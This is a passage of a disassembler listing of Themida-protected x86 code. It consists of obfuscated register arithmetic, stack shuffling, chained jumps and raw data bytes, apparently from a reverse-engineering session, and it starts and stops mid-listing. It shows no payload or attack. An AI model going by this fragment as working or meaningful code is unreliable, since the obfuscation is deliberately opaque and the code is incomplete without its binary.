		mov	esi, esp
		jmp	loc_555B1B
; ---------------------------------------------------------------------------

loc_5530F3:				; CODE XREF: Themida_:005544C5j
		add	ebx, 4EA41D68h
		inc	ebx
		jnp	loc_54ED6B
		inc	ebx
		add	ebx, 55235375h
		sub	ebx, 714ED077h
		mov	edi, ebx
		pop	ebx
		sub	ecx, 32D72DD0h
		add	ecx, edi
		add	ecx, 32D72DD0h
		pop	edi
		mov	[ecx], al
		mov	ecx, [esp]
		jmp	loc_54A5C2
; ---------------------------------------------------------------------------

loc_553129:				; CODE XREF: Themida_:005513C9j
		push	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_553B31
; ---------------------------------------------------------------------------
		dd 0A30DE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55313E:				; CODE XREF: Themida_:loc_553046j
		xor	ebp, 0CA7EDEB0h
		mov	ebx, ebp
		pop	ebp
		sub	esi, ebx
		jmp	loc_55556A
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 83000000h,	0C8704C1h, 89535C24h, 2BA52E3h
		dd 811E5F3Bh, 5F3B06F2h, 7CDFE91Eh, 0C15EFFFFh,	0DBF704EBh
		dd 0BFBCEB81h, 0DF01FF5Eh, 83241C8Bh, 0A1E904C4h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55318B:				; CODE XREF: Themida_:00550644j
		mov	bl, 0DBh
		mov	cl, bl
		mov	ebx, [esp]
		jmp	loc_553E2E
; ---------------------------------------------------------------------------

loc_553197:				; CODE XREF: Themida_:00551224j
		push	dword ptr [esp]
		jmp	loc_54F5A6
; ---------------------------------------------------------------------------

loc_55319F:				; CODE XREF: Themida_:00550C4Dj
		pop	edx
		shr	ebp, 6
		push	0
		jmp	loc_554780
; ---------------------------------------------------------------------------

loc_5531AD:				; CODE XREF: Themida_:00549D35j
		push	eax
		mov	eax, 320E6733h
		mov	edi, eax
		pop	eax
		add	edi, 2E0D67h
		xor	edi, 64377C72h
		jmp	loc_54FD90
; ---------------------------------------------------------------------------
		db 0BBh
		dd 1AB37B06h, 0C966852h, 148B2A79h, 4C48124h, 0F7000000h
		dd 0CA8142D2h, 4DB65605h, 8F758D0Fh, 0F281FFFFh, 38FA7393h
		dd 15AD189h, 241C8BD9h,	8104C483h, 9A6D7FC5h, 9D57E913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553206:				; CODE XREF: Themida_:00551A29j
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 6213111Ch
		and	edx, 781A46A8h
		or	edx, 6A225E5Eh
		jmp	loc_54B396
; ---------------------------------------------------------------------------

loc_553220:				; CODE XREF: Themida_:loc_55499Fj
					; Themida_:00555F95j
		pop	ebp
		add	esi, 0AF40026Bh
		push	ebx
		mov	ebx, 662C4637h
		dec	ebx
		jmp	loc_54F4D4
; ---------------------------------------------------------------------------

loc_553233:				; CODE XREF: Themida_:0054C2C4j
		push	eax
		push	esi
		mov	esi, ebp
		jmp	loc_555F31
; ---------------------------------------------------------------------------

loc_55323C:				; CODE XREF: Themida_:loc_55150Aj
		or	edx, 2FD45A3Ch
		neg	edx
		shl	edx, 7
		shl	edx, 2
		jmp	loc_5555F6
; ---------------------------------------------------------------------------

loc_55324F:				; CODE XREF: Themida_:005497CAj
		push	eax
		mov	eax, 66053B80h
		inc	eax
		push	edx
		mov	edx, 174474E2h
		jmp	loc_5541B5
; ---------------------------------------------------------------------------
		db 0E9h, 0A7h, 0B7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553266:				; CODE XREF: Themida_:0055481Aj
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 627A0A60h
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5492C0
; ---------------------------------------------------------------------------
		dd 0D6F6F386h, 70E9F386h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55329B:				; CODE XREF: Themida_:0054E129j
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 77E707E0h
		add	edx, 4A837454h
		add	edx, ebp
		push	esi
		mov	esi, 57DB1F63h
		not	esi
		jmp	loc_5510AE
; ---------------------------------------------------------------------------

loc_5532BC:				; CODE XREF: Themida_:00552E4Dj
		shl	si, 5
		sub	si, 1
		add	si, 5DADh
		add	si, 0AB0Dh
		jmp	loc_551499
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FF5D6987h, 0E25E9FFh, 0E5890000h, 5D8FC5C6h, 4BA5257h
		dd 89000000h, 24148BD7h, 4C481h, 0FA010000h, 81243C8Bh
		dd 4C4h, 0B3E95100h, 81FFFFE0h,	4C4h, 24348700h, 0E09E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553316:				; CODE XREF: Themida_:0054A8A7j
		dec	eax
		jg	loc_552FA7
		jmp	loc_54BE2D
; ---------------------------------------------------------------------------

loc_553322:				; CODE XREF: Themida_:00550A40j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	5DBh
		mov	[esp], esi
		jmp	loc_54ABE0
; ---------------------------------------------------------------------------
		db 89h,	0C7h, 89h
		dd 63E95FFAh
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55333F:				; CODE XREF: Themida_:00554343j
		xchg	eax, ecx
		push	ecx
		push	0B1h
		mov	[esp], esi
		pop	ecx
		pop	esi
		xor	esi, edi
		jmp	loc_54D0BC
; ---------------------------------------------------------------------------
		dw 4D5Dh
		dd 5102EDC1h, 0CB5A28B9h, 59CD2914h, 505DE831h,	0C7085C68h
		dd 0C329581Dh, 582434FFh, 0FFB34DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553375:				; CODE XREF: Themida_:0054AE7Dj
					; Themida_:00552395j
		pop	esi
		add	edx, 0CCC68510h
		add	ebp, edx
		pop	edx
		push	ebx
		push	edi
		push	eax
		push	235044A9h
		jmp	loc_5505DE
; ---------------------------------------------------------------------------

loc_55338C:				; CODE XREF: Themida_:00551C87j
		mov	[esp], esi
		mov	esi, 76A502B6h
		jmp	loc_553D81
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 2
		dd 0E9000000h, 0FFFF981Eh, 0FF2434FFh, 83582434h, 895604C4h
		dd 46851E6h, 0E9000000h, 0FFFFE608h
; ---------------------------------------------------------------------------

loc_5533BC:				; CODE XREF: Themida_:0054D9EFj
		pop	cx
		jmp	loc_5513CE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 503E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5533CE:				; CODE XREF: Themida_:00550099j
		pop	ebx
		sub	edx, 273B2496h
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_552465
; ---------------------------------------------------------------------------
aQlSc		db 'Q▀,$ИФ',7,0
		align 4

loc_5533E8:				; CODE XREF: Themida_:0055040Aj
		push	ebp
		mov	ebp, 3BBF0071h
		add	ebp, 51A543Ch
		jmp	loc_54D5D5
; ---------------------------------------------------------------------------

loc_5533F9:				; CODE XREF: Themida_:00549032j
		mov	edx, 0CAC552A7h
		sub	edx, 465B2E4Eh
		sub	edx, esi
		add	edx, 465B2E4Eh
		pop	esi
		xor	esi, edx
		pop	edx
		add	esi, 723D9A48h
		xor	eax, esi
		jmp	loc_5518A6
; ---------------------------------------------------------------------------

loc_55341D:				; CODE XREF: Themida_:0054EF6Aj
		mov	esp, [esp]
		jmp	loc_554EE7
; ---------------------------------------------------------------------------

loc_553425:				; CODE XREF: Themida_:0054E7B2j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		jmp	loc_5506C9
; ---------------------------------------------------------------------------
		dd 0E7E95566h, 8BFFFFA0h, 0C483240Ch, 0DBE95304h, 0C0FFFFECh
		dd 0EA8005E2h, 5AD13065h, 0E9EBF180h, 0FFFF8AD1h, 4244401h
		dd 24348B58h, 52E18951h, 0EFA9E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55346A:				; CODE XREF: Themida_:0054B3D1j
		add	eax, esi
		push	dword ptr [esp]
		jmp	loc_555779
; ---------------------------------------------------------------------------

loc_553474:				; CODE XREF: Themida_:00552AFFj
		pop	eax
		add	eax, 4
		jmp	loc_555F26
; ---------------------------------------------------------------------------

loc_55347F:				; CODE XREF: Themida_:0055395Dj
		add	ebx, 523B57D8h
		sub	ebx, 750939F8h
		jmp	loc_54D54A
; ---------------------------------------------------------------------------

loc_553490:				; CODE XREF: Themida_:00551DD5j
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_54E48E
; ---------------------------------------------------------------------------
		db 1
		dd 243C8BFEh, 0FFFE62E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5534A5:				; CODE XREF: Themida_:00552C0Dj
		add	ebp, eax
		pop	eax
		add	edi, ebp
		jmp	loc_5528E3
; ---------------------------------------------------------------------------

loc_5534AF:				; CODE XREF: Themida_:00554A02j
		add	ebx, 4
		push	esi
		jmp	loc_551B9F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 0FFF00004h, 0E95A2434h, 0FFFFB1C0h
; ---------------------------------------------------------------------------

loc_5534CC:				; CODE XREF: Themida_:00551281j
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_55417D
; ---------------------------------------------------------------------------

loc_5534DB:				; CODE XREF: Themida_:00554B6Ej
		sub	[esp], ebp
		pop	ebp
		sub	ebp, 173B1A63h
		jmp	loc_55028D
; ---------------------------------------------------------------------------
		dw 0DDB1h
		dd 0F186C1FEh, 0F186D6F6h, 30E1F180h, 0FFBDE9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5534FE:				; CODE XREF: Themida_:0054CE40j
		or	[edi+1Ch], eax
		pop	eax
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_553507:				; CODE XREF: Themida_:0054DEC8j
		or	bh, 92h
		jb	loc_555C3D
		jmp	loc_550A32
; ---------------------------------------------------------------------------

loc_553515:				; CODE XREF: Themida_:00551FB5j
		pop	eax
		jmp	loc_555F67
; ---------------------------------------------------------------------------

loc_55351B:				; CODE XREF: Themida_:0054CB55j
		pop	edx
		push	ecx
		mov	cl, 8Eh
		push	969h
		mov	[esp], eax
		mov	al, 0B5h
		xor	al, 0Fh
		add	bh, al
		pop	eax
		jmp	loc_54A132
; ---------------------------------------------------------------------------

loc_553533:				; CODE XREF: Themida_:0054FCC0j
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 1214548Dh
		ja	loc_54EF92
		xor	ecx, 20E75E67h
		inc	ecx
		xor	ecx, 0C0E0EC0Bh

loc_553552:				; CODE XREF: Themida_:0054A810j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_550E6D
; ---------------------------------------------------------------------------

loc_553565:				; CODE XREF: Themida_:0054FA5Aj
		push	ax
		jmp	loc_54B5A5
; ---------------------------------------------------------------------------

loc_55356C:				; CODE XREF: Themida_:00553A2Dj
		push	582Ah
		mov	[esp], edx
		jmp	loc_555D49
; ---------------------------------------------------------------------------
		db 8Fh,	47h, 40h
		dd 0FF53A8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553581:				; CODE XREF: Themida_:00549516j
		push	0BF3h
		mov	[esp], eax
		push	cx
		mov	ch, 84h
		mov	ah, ch
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		jmp	loc_549458
; ---------------------------------------------------------------------------

loc_5535A4:				; CODE XREF: Themida_:005515D1j
		xor	esi, [esp]
		jmp	loc_54D179
; ---------------------------------------------------------------------------
		dd 4C481h, 72E90000h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5535B7:				; CODE XREF: Themida_:0054B9E2j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_5535C0:				; CODE XREF: Themida_:00555774j
		mov	dl, 0F3h
		push	eax
		mov	ah, 85h
		and	dl, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_553EE7
; ---------------------------------------------------------------------------
		db 5, 0D3h, 7
		dd 0C589DFC8h, 0DE76E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5535E2:				; CODE XREF: Themida_:0054A25Cj
		push	ebx
		mov	bh, dh
		jmp	loc_54B271
; ---------------------------------------------------------------------------

loc_5535EA:				; CODE XREF: Themida_:00550B0Bj
		xor	ecx, 402676BAh
		jg	loc_554559
		jmp	loc_54A6AD
; ---------------------------------------------------------------------------
		db 0BBh
		dd 47C4032Eh, 882AB55Ch, 0EF8059EFh, 5BF8001Bh,	0EC83D800h
		dd 5B90E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553616:				; CODE XREF: Themida_:00554C60j
		push	6AAAh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_553641:				; CODE XREF: Themida_:00548ED4j
		add	dh, 1Eh
		add	dh, bh
		sub	dh, 1Eh
		pop	ebx
		xor	bl, dh
		pop	edx
		xor	al, bl
		jmp	loc_554254
; ---------------------------------------------------------------------------
aN1Hi		db '╜1ьhI&',0
		align 4
		dd 0E9242C89h, 0FFFFC28Ah
; ---------------------------------------------------------------------------

loc_553664:				; CODE XREF: Themida_:0054BDA5j
		push	ecx
		push	4
		pop	ecx
		add	edi, ecx
		pop	ecx
		jmp	loc_54C9A8
; ---------------------------------------------------------------------------
		db 81h
		dd 815C71C1h, 243C8B0Fh, 8704C483h, 23E9240Ch
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553687:				; CODE XREF: Themida_:005529A9j
		xor	edi, 8F12AF7Ah
		mov	ebx, edi
		pop	edi
		jmp	loc_54B555
; ---------------------------------------------------------------------------

loc_553695:				; CODE XREF: Themida_:00555726j
		neg	eax
		ja	loc_551229
		sub	eax, 0DA765825h
		push	ebp
		push	eax
		pop	ebp
		push	ecx
		jmp	loc_54AB08
; ---------------------------------------------------------------------------

loc_5536AB:				; CODE XREF: Themida_:0054BFD0j
		mov	[esp], ecx
		push	561E3769h
		pop	ecx
		not	ecx
		push	edi
		mov	edi, 2C53118Fh
		sub	ecx, edi
		pop	edi
		and	ecx, 619928EDh
		jnp	loc_54D5FA
		xor	ecx, 9E77DFFAh
		push	ecx
		sub	dword ptr [esp], 71B6652Ah
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 71B6652Ah
		pop	ecx
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		add	esp, 4

loc_5536F5:				; CODE XREF: Themida_:0054FF1Aj
		push	0E43h
		jmp	loc_54E81B
; ---------------------------------------------------------------------------

loc_5536FF:				; CODE XREF: Themida_:0054D545j
		push	dword ptr [esp]
		jmp	loc_5553BC
; ---------------------------------------------------------------------------

loc_553707:				; CODE XREF: Themida_:loc_54FBC6j
		xor	di, 70D1h
		mov	bx, di
		jmp	loc_54A534
; ---------------------------------------------------------------------------

loc_553714:				; CODE XREF: Themida_:0054EA08j
					; Themida_:0054F295j
		shr	eax, 7
		add	eax, 8610423Dh
		xor	edi, eax
		jmp	loc_54CDF4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 924A942Dh, 7BE95523h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553737:				; CODE XREF: Themida_:0054DC85j
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 7FBE3253h
		jmp	loc_555AE9
; ---------------------------------------------------------------------------
aNh		db '╜h:<',0
		align 10h
		dd 0B9240C89h, 43F05278h, 0A4E9C829h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55375F:				; CODE XREF: Themida_:00548A97j
		pop	edx
		mov	edx, esi
		pop	esi
		add	eax, 53131D0Bh
		sub	eax, edx
		push	edi
		mov	edi, 4AAA0C5Fh
		or	edi, 14853413h
		push	edi
		jmp	loc_551D94
; ---------------------------------------------------------------------------

loc_55377C:				; CODE XREF: Themida_:00555855j
		add	al, 83h
		add	al, cl
		push	cx
		jmp	loc_54D9EB
; ---------------------------------------------------------------------------

loc_553787:				; CODE XREF: Themida_:0054CE4Bj
		xchg	ebx, esi
		xor	esi, 232940A0h
		add	ebx, 0E954D88h
		add	ebx, esi
		sub	ebx, 0E954D88h
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, 74D4AD08h
		add	eax, 660A0FC6h
		sub	eax, 0F3B04E2h
		add	eax, esi
		add	eax, 0F3B04E2h
		push	3965h
		mov	[esp], ebp
		push	660A0FC6h
		pop	ebp
		sub	eax, ebp
		jmp	loc_5541F6
; ---------------------------------------------------------------------------

loc_5537D4:				; CODE XREF: Themida_:0055176Ej
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	ebx
		push	edx
		mov	edx, 2
		mov	ebx, edx
		pop	edx
		jmp	loc_549FA8
; ---------------------------------------------------------------------------

loc_5537F3:				; CODE XREF: Themida_:00552983j
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		xor	dword ptr [ebx], 31275738h
		pop	ebx
		pop	ecx
		pop	edx
		jmp	loc_549F70
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0C08CB551h, 0ED8007E5h, 0B986E9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55381A:				; CODE XREF: Themida_:loc_54925Aj
					; Themida_:loc_54B2E7j
		jmp	loc_5524F8
; ---------------------------------------------------------------------------

loc_55381F:				; CODE XREF: Themida_:0054CC63j
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_54FDBD
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0C74BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55383A:				; CODE XREF: Themida_:00553CB3j
		and	[edi+1Ch], esi
		jmp	loc_54CCF1
; ---------------------------------------------------------------------------

loc_553842:				; CODE XREF: Themida_:0054B1D2j
		not	ebx
		neg	ebx
		dec	ebx
		inc	ebx
		jmp	loc_552F00
; ---------------------------------------------------------------------------

loc_55384D:				; CODE XREF: Themida_:00555823j
		jmp	loc_54A432
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 496D6C8Ch, 0FFDA85E9h, 2434FFFFh, 8E82E95Fh,	0C8BFFFFh
		dd 8D54E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55386E:				; CODE XREF: Themida_:00549520j
		mov	al, 0EFh
		jmp	loc_55576A
; ---------------------------------------------------------------------------

loc_553875:				; CODE XREF: Themida_:0054A6F9j
		or	edx, eax
		shl	edx, 1
		jmp	loc_54F185
; ---------------------------------------------------------------------------

loc_55387E:				; CODE XREF: Themida_:00554E52j
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		push	edi
		mov	edi, 2623DAAh
		mov	esi, 26185295h
		xor	esi, edi
		jmp	loc_553EBA
; ---------------------------------------------------------------------------

loc_553899:				; CODE XREF: Themida_:0054D6C1j
		mov	bl, dl
		mov	al, bl
		mov	ebx, [esp]
		jmp	loc_55536F
; ---------------------------------------------------------------------------

loc_5538A5:				; CODE XREF: Themida_:0054D19Dj
					; Themida_:loc_554364j
		shl	eax, 4
		js	loc_54D6D9
		jmp	loc_551478
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0FFEBB4E9h, 98F780FFh, 0FA5A355Bh, 0C689108Ah, 0F7C68158h
		dd 46754661h, 0FF55B4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5538D1:				; CODE XREF: Themida_:0054C03Cj
		push	edx
		jmp	loc_554BB6
; ---------------------------------------------------------------------------
		db 81h
		dd 0DE8222C3h, 5BD801FDh, 0E9240487h, 0FFFFCC6Eh
; ---------------------------------------------------------------------------

loc_5538E8:				; CODE XREF: Themida_:0054FC22j
		shr	ecx, 7
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_551CCC
; ---------------------------------------------------------------------------

loc_5538F9:				; CODE XREF: Themida_:0054CC94j
		shl	esi, 7
		add	esi, 7DE7FB04h
		add	edi, esi
		pop	esi
		push	ebp
		push	eax
		push	6FC46D1Ah
		pop	eax
		jmp	loc_54A5AB
; ---------------------------------------------------------------------------
		dw 0FF51h
		dd 59042474h, 8B24048Fh, 14892424h, 56E36824h, 2C890000h
		dd 0EC64E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55392E:				; CODE XREF: Themida_:0054B89Bj
		add	eax, 1E4A277Fh
		jp	loc_54D18A
		add	eax, 54B154DEh
		neg	eax
		jns	loc_54E45B

loc_553946:				; CODE XREF: Themida_:00551348j
		pop	ebp
		jmp	loc_555F10
; ---------------------------------------------------------------------------

loc_55394C:				; CODE XREF: Themida_:0054CC72j
		push	esi
		mov	esi, 2A091DF4h
		neg	esi
		sub	esi, 61D2B69Bh
		sub	ebx, esi
		pop	esi
		jmp	loc_55347F
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 0CE88BD25h, 55EF731h, 59F44624h, 0BD55F829h,	59F44624h
		dd 0FF5DE829h, 575F2434h, 0C781E789h, 4, 8704C783h, 0E95C243Ch
		dd 0FFFFAC95h
; ---------------------------------------------------------------------------

loc_553994:				; CODE XREF: Themida_:005515D7j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5525CA
; ---------------------------------------------------------------------------

loc_5539A5:				; CODE XREF: Themida_:0054F7FAj
		push	edi
		jmp	loc_54F402
; ---------------------------------------------------------------------------
		db 52h
		dd 60240481h, 5939B871h, 7160E981h, 815A39B8h, 6C5117C1h
		dd 81E92944h, 6C5117E9h, 0EC835D44h, 0B959E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5539D2:				; CODE XREF: Themida_:00555A35j
		sub	bl, al
		sub	bl, 0E4h
		push	edx
		mov	dh, 0F5h
		shr	dh, 6
		or	dh, 38h
		shl	dh, 2
		dec	dh
		jmp	loc_5553DF
; ---------------------------------------------------------------------------

loc_5539EA:				; CODE XREF: Themida_:00555B24j
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_54AE85
; ---------------------------------------------------------------------------

loc_5539F9:				; CODE XREF: Themida_:00555398j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 1E5AE9h
		db 0
; ---------------------------------------------------------------------------

loc_553A0D:				; CODE XREF: Themida_:00552C67j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	ebp
		pop	eax
		rep movsd
		add	esp, [edx+38h]
		jmp	loc_54F2D9
; ---------------------------------------------------------------------------

loc_553A29:				; CODE XREF: Themida_:0054FC43j
					; Themida_:00554F27j
		xor	al, bh
		pop	bx
		jmp	loc_55356C
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E7895704h, 4C781h, 0B8500000h, 4, 6C29EF81h, 0C7296929h
		dd 6C29B951h, 0CF016929h, 3C875859h, 1C895C24h,	95B9E924h
		dd 0E951FFFFh, 0FFFFC17Bh
; ---------------------------------------------------------------------------

loc_553A68:				; CODE XREF: Themida_:0054C9CBj
		mov	ecx, 2D91318h
		add	ecx, 4BCC1A92h
		neg	ecx
		sub	ecx, 0D69FF5BDh
		sub	ebx, ecx
		pop	ecx
		push	ebx
		jmp	loc_5547D2
; ---------------------------------------------------------------------------

loc_553A84:				; CODE XREF: Themida_:00551C62j
		and	ah, 55h
		jmp	loc_550E0B
; ---------------------------------------------------------------------------

loc_553A8C:				; CODE XREF: Themida_:0054CB4Cj
		pop	edx
		pop	ebx
		push	esi
		push	4868h
		push	4B23h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	1C05h
		jmp	loc_54D2A2
; ---------------------------------------------------------------------------

loc_553AB0:				; CODE XREF: Themida_:005545B3j
		add	bl, cl
		pop	cx
		push	edx
		mov	dh, 5Bh
		not	dh
		push	cx
		mov	cl, 0CCh
		add	dh, cl
		pop	cx
		sub	bl, 18h
		jmp	loc_5529E7
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 468h, 7C015F00h, 3C8B0424h, 4C48324h, 4C18159h, 83000000h
		dd 0F1E902C1h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553AEB:				; CODE XREF: Themida_:00548F89j
		xor	edi, 2B4E47D5h
		xor	edi, 17BF2846h
		push	eax
		mov	eax, edi
		mov	esi, eax
		pop	eax
		jmp	loc_54CB84
; ---------------------------------------------------------------------------

loc_553B02:				; CODE XREF: Themida_:0054EE6Fj
		pop	esp
		mov	[esp], ax
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dd 66D830ACh, 27B75352h, 0FFBDE1E9h, 1C77FFFFh,	411589Dh
		dd 2E99C24h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553B27:				; CODE XREF: Themida_:0054D6FDj
		pop	dx
		push	ebx
		mov	bh, 0B0h
		jmp	loc_552D3A
; ---------------------------------------------------------------------------

loc_553B31:				; CODE XREF: Themida_:00553133j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 1B217A63h
		sub	dword ptr [esp+4], 76D8497Eh
		sub	[esp+4], ebp
		add	dword ptr [esp+4], 76D8497Eh
		pop	ebp
		mov	eax, [esp]
		jmp	loc_550BA3
; ---------------------------------------------------------------------------

loc_553B5D:				; CODE XREF: Themida_:00550BB8j
		mov	esi, 2905FCh
		jmp	loc_551E21
; ---------------------------------------------------------------------------
		db 57h
		dd 974DA5BFh, 6EFC120h,	77CCE781h, 0EF81455Bh, 3F632DE4h
		dd 4DFEB850h, 0D0F76322h, 672DE0D1h, 29B4E470h,	7FEEE9C7h
		dd 8957FFFFh, 4C781E7h,	83000000h, 3C8704C7h, 0D8285C24h
		dd 504982Ch, 6602EC83h,	50240C89h, 0E982B753h, 0FFFF6057h
; ---------------------------------------------------------------------------

loc_553BB8:				; CODE XREF: Themida_:0054A53Ej
		shr	cx, 3
		jnz	loc_554B8D
		not	cx
		add	cx, 1AE2h
		mov	dh, 18h
		mov	dh, ah
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54C5A5
; ---------------------------------------------------------------------------

loc_553BDF:				; CODE XREF: Themida_:00555C06j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	esi, 1FD408A6h
		push	9FDh
		jmp	loc_55247B
; ---------------------------------------------------------------------------

loc_553BF6:				; CODE XREF: Themida_:0054CA9Cj
		push	edx
		mov	dh, al
		mov	cl, dh
		pop	edx
		mov	dh, cl
		pop	ecx
		pop	eax
		push	ecx
		mov	ecx, 28h
		add	ecx, edi
		mov	[ecx], dh
		pop	ecx
		pop	edx
		pop	ebx
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_553C12:				; CODE XREF: Themida_:00550E25j
		sub	bl, 2Fh
		push	edx
		mov	dh, 45h
		shl	dh, 3
		add	dh, 0C5h
		inc	dh
		jmp	loc_54A0F7
; ---------------------------------------------------------------------------
		db 83h,	0E8h, 4
		dd 2133E9h
		db 0
; ---------------------------------------------------------------------------

loc_553C2D:				; CODE XREF: Themida_:0054E074j
		neg	esi
		jno	loc_548FA5
		add	esi, 0F4CE234Ah
		mov	edx, esi
		jmp	loc_54EEC0
; ---------------------------------------------------------------------------
		db 57h
; ---------------------------------------------------------------------------

loc_553C43:				; CODE XREF: Themida_:0054D3DFj
					; Themida_:0054D887j
		mov	[esp], edx
		jmp	loc_54E9AC
; ---------------------------------------------------------------------------

loc_553C4B:				; CODE XREF: Themida_:00551DB5j
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 43C81C08h
		sub	ebx, 3BD02EE9h
		sub	ebx, eax
		jmp	loc_54D0B2
; ---------------------------------------------------------------------------
		align 2
		dw 0E9F0h
		dd 0FFFF8606h, 76F7C581h, 890F74E7h, 0FFFF63EAh, 0E656F581h
		dd 0E989F771h, 59C8015Dh, 468D829h, 89000008h, 0F5BA2414h
		dd 8178F835h, 1EAh, 66EA8100h, 5001E414h, 0FF7A47E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553CA5:				; CODE XREF: Themida_:0054DF9Dj
		pop	ebx
		push	edx
		jmp	loc_54E0BE
; ---------------------------------------------------------------------------

loc_553CAC:				; CODE XREF: Themida_:0054D7FCj
		pop	ebx
		add	esp, 4
		jmp	loc_55383A
; ---------------------------------------------------------------------------

loc_553CB8:				; CODE XREF: Themida_:00551CEAj
		mov	eax, 7034612h
		and	eax, 779E256Dh
		or	eax, 4B6E6CE2h
		add	eax, 0B0919322h
		add	ebx, eax
		pop	eax
		push	eax
		mov	eax, 75000153h
		jmp	loc_54B234
; ---------------------------------------------------------------------------

loc_553CDA:				; CODE XREF: Themida_:00551D7Ej
		add	esp, 4
		inc	ebp
		dec	ebp
		add	ebp, 0ED0EF6F7h
		sub	ebx, 3B342EF7h
		jmp	loc_549201
; ---------------------------------------------------------------------------
		db 89h
		dd 4BF243Ch, 0E9000000h, 0FFFFB605h, 1E6F830Fh,	0CDFE0000h
		dd 0B3E9C580h, 59EB004Ch
; ---------------------------------------------------------------------------

